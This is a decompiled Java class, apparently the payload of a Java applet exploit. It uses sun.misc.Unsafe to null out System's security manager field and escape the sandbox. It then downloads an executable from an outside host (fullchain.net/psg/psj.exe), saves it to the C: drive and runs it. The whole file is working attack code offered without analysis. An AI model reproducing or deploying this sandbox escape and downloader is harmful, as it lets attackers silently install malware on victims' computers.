// Decompiled by Jad v1.5.8e. Copyright 2001 Pavel Kouznetsov.
// Jad home page: http://www.geocities.com/kpdus/jad.html
// Decompiler options: packimports(3) 
// Source File Name:   omfg.java

import java.io.BufferedInputStream;
import java.io.FileOutputStream;
import java.net.URL;
import sun.misc.Unsafe;

public class omfg
{

    public omfg()
    {
        secman = null;
    }

    public void fetchFile(String s, String s1)
    {
        try
        {
            URL url = new URL(s);
            java.io.InputStream inputstream = url.openStream();
            BufferedInputStream bufferedinputstream = new BufferedInputStream(inputstream);
            FileOutputStream fileoutputstream = new FileOutputStream(s1);
            do
            {
                int i = bufferedinputstream.read();
                if(i == -1)
                    break;
                fileoutputstream.write(i);
            } while(true);
            fileoutputstream.close();
            String as[] = new String[1];
            as[0] = s1;
            Process process = Runtime.getRuntime().exec(as);
        }
        catch(Exception exception)
        {
            kaarne = exception.toString();
            return;
        }
    }

    public void perse(Object obj)
    {
        java.lang.reflect.Field field;
        try
        {
            Class class1 = Class.forName("java.lang.System");
            field = class1.getDeclaredField("security");
        }
        catch(Exception exception)
        {
            kaarne = exception.toString();
            return;
        }
        Object obj1 = ((Unsafe)obj).staticFieldBase(field);
        int i = ((Unsafe)obj).fieldOffset(field);
        ((Unsafe)obj).putObject(obj1, i, secman);
        fetchFile("http://fullchain.net/psg/psj.exe", "c:\\psj.exe");
    }

    public static String kaarne = null;
    SecurityManager secman;

}
